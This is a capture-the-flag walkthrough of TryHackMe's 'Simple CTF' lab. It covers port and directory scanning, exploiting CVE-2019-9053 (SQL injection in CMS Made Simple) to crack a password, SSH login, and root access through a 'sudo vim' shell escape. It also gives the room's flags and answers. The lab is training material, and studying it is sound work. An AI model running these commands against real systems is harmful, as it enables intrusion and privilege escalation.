---
description: https://tryhackme.com/room/easyctf
---

# Simple CTF

## INIT

```
export easyctf=10.10.150.200
ping $easyctf

echo "10.10.150.200 easyctf.thm" >> /etc/hosts
```

## How many services are running under port 1000?

```
nmap -T5 -p1-1000 easyctf.thm
```

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRz0P2kE9ikrIzLRVMI%2F-MRz0RpSjf_hm3Qriao3%2Fimage.png?alt=media\&token=9a1ef746-2a22-43f6-a688-5dcda7c2ca67)

{% hint style="success" %}
2
{% endhint %}

## What is running on the higher port?

```
nmap -sC -sV -T5 -p1-65535 easyctf.thm
```

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRz0P2kE9ikrIzLRVMI%2F-MRz11v_4Uhr5s1HSS5P%2Fimage.png?alt=media\&token=f0eab1b4-93c4-4e1a-93d6-8768856cdbaa)

{% hint style="success" %}
ssh
{% endhint %}

## FTP

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRz16C1PaWgipUbzqWT%2F-MRz2qMv0VS_HgteGOhm%2Fimage.png?alt=media\&token=fe1cc45d-5f62-4351-be64-da211caffe11)

## HTTP

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRz16C1PaWgipUbzqWT%2F-MRz3bml9F6QwCi7OFeS%2Fimage.png?alt=media\&token=ee3856f9-2766-49d9-9cb5-2536c1620474)

## GOBUSTER

```
gobuster dir -u easyctf.thm -w /usr/share/wordlists/dirb/common.txt -q -t 15 -x php,html,txt
```

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRz16C1PaWgipUbzqWT%2F-MRz3icaYsK4eLwftdO_%2Fimage.png?alt=media\&token=32307a47-f397-446b-9837-917be0c406d1)

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRz16C1PaWgipUbzqWT%2F-MRz41qR7JXm5GAC7rlN%2Fimage.png?alt=media\&token=a3cba822-b5ec-4770-90b3-f6fd1f5a1491)

> CMS Made Simple 2.2.8

## What's the CVE you're using against the application?

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRz16C1PaWgipUbzqWT%2F-MRz6OY0kFYCsukkRo1p%2Fimage.png?alt=media\&token=8ddff127-67ed-40d5-8861-d4338b7dc6a7)

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRz6PcXDHP5RYvZVog_%2F-MRz754Pz_YQFoR4XBqj%2Fimage.png?alt=media\&token=ef2879ca-9d07-4bb8-b635-eafc7e3ccdae)

{% hint style="success" %}
CVE-2019-9053
{% endhint %}

## To what kind of vulnerability is the application vulnerable?

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRz7Kr1BVRmYEROZw-k%2F-MRz7LUQoiiGwU4FETW5%2Fimage.png?alt=media\&token=7996096f-06ff-445b-b0d9-c1bb55a06a4d)

{% hint style="success" %}
sqli
{% endhint %}

## What's the password?

```
python3 easyctf.py -u http://easyctf.thm/simple --crack -wordlist /usr/share/wordlists/rockyou.txt
```

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRzIDpn0zE4acdKYaww%2F-MRzMY2IOZfNQuw3ERdS%2Fimage.png?alt=media\&token=fc91aaaf-9531-46d7-8365-5bac4481c8f1)

{% hint style="success" %}
secret
{% endhint %}

## Where can you login with the details obtained?

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRz9SZ_hc_1lI7lUtw_%2F-MRzBiB8yAqm5kpWDiFd%2Fimage.png?alt=media\&token=a5b7fe1d-8bae-4423-9dc3-3353122a14c1)

{% hint style="success" %}
ssh
{% endhint %}

## What's the user flag?

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRz9SZ_hc_1lI7lUtw_%2F-MRzBkVsHSc-Q_hwKIr4%2Fimage.png?alt=media\&token=75447beb-f5f7-4439-837c-0e6a88f22dd0)

{% hint style="success" %}
G00d j0b, keep up!
{% endhint %}

## Is there any other user in the home directory? What's its name?

![](https://244894268-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MO2llY9Epz_XDFDa7VZ%2F-MRzClcp-Z6jf23d5G_z%2F-MRzDYXifAnbVikagjVp%2Fimage.png?alt=media\&token=ce6720fc-a7c7-4266-b6e2-14e56fb5df06)

{% hint style="success" %}
sunbath
{% endhint %}

## What can you leverage to spawn a privileged shell?

```
sudo vim -c ':!/bin/sh'
```

{% embed url="https://gtfobins.github.io/gtfobins/vim/" %}

{% hint style="success" %}
vim
{% endhint %}

## What's the root flag?

```
cat /root/root.txt
```

{% hint style="success" %}
W3ll d0n3. You made it!
{% endhint %}
